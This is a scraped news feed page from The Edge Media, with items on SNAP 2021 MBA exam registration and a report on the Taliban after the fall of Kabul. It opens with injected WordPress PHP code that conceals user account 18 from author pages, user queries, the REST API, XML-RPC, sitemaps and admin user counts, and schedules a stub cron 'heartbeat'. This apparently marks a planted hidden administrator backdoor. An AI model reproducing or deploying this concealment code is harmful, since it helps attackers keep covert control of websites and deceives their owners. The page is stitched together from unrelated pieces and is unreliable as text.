add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post SNAP 2021 registration process to start from August 31 appeared first on The Edge Media.
]]>The last date to fill the SNAP application form is November 27. SNAP 2021 exam is being conducted by the Symbiosis Institute of Business Management (SIBM) Pune and students appearing for this exam aim at pursuing MBA from various Symbiosis institutes.
SNAP 2021 test will be held in the Computer Based Test(CBT) mode.
SNAP Test 2021: How To Apply
Go to the official website of SNAP Test- snaptest.org
– Register to the SNAP 2021 admission portal by submitting the asked credentials
– SNAP 2021 application form will be displayed on the screen.
– Fill in the SNAP application form with all details as asked.
– Upload the scanned documents.
– Pay the SNAP application fees through mentioned payment gateways like UPI
– Submit the form.
– Save the application for future references.
Generally, the eligibility criteria for SNAP test is, the students applying for the exam should be graduated from any recognised university or institution. Students must have scored a minimum of 50 per cent marks and in the case of students under the Scheduled Castes or Scheduled Tribes category, they need 45 per cent marks.
Students who are appearing for final year examinations of their Undergraduate(UG) degree this year can also apply, but their admission will be subject to obtaining a minimum of 50 per cent marks and it is 45 per cent for Scheduled Castes or Scheduled Tribes students.
The post SNAP 2021 registration process to start from August 31 appeared first on The Edge Media.
]]>The post Taliban has a deal with the US “to do nothing” until after the final withdrawal date passes : Reports appeared first on The Edge Media.
]]>Taliban lead negotiator Anas Haqqani has told his ex-government interlocutors that the Taliban has a deal with the US “to do nothing” until after the final withdrawal date passes, the Afghan official told the international news agency.
The country is in disarray after Ashraf Ghani left on August 15 following the fall of Kabul, a day after Ghani promised safety, security and resistance to the Taliban. Since then, the Taliban are in the power of the country but nothing has been formalised on the governance front.
First, it was reported that an interim set-up will be in place which will be headed by former Afghanistan minister Ali Ahmad Jalali, but later it was said that after the massive sweep, the Taliban are now looking for a complete capture of the country, without having to share the power with anyone. Jalali too clarified that he was not considered for such a post and neither will he be interested in such a position.
At present, there is no government in place while foreign forces are scrambling to evacuate their people from the country. Former vice president Amrullah Saleh who left Kabul on August 15 and is probably at Panjshir Valley has declared himself the caretaker president of the country. The Taliban have addressed a press conference through which it sent across a moderate message to the world that the Taliban want peaceful ties with all countries and there will be no vengeance. Women will have their rights under Sharia law, the group said.
On Friday, the scene at mosques was uneventful as no Taliban gunmen were seen guarding the entrance of mosques or enforcing dress codes like past. Reports said the Taliban have urged the imams to use these Friday prayers to appeal for unity and to make sure that people do not flee the country.
The post Taliban has a deal with the US “to do nothing” until after the final withdrawal date passes : Reports appeared first on The Edge Media.
]]>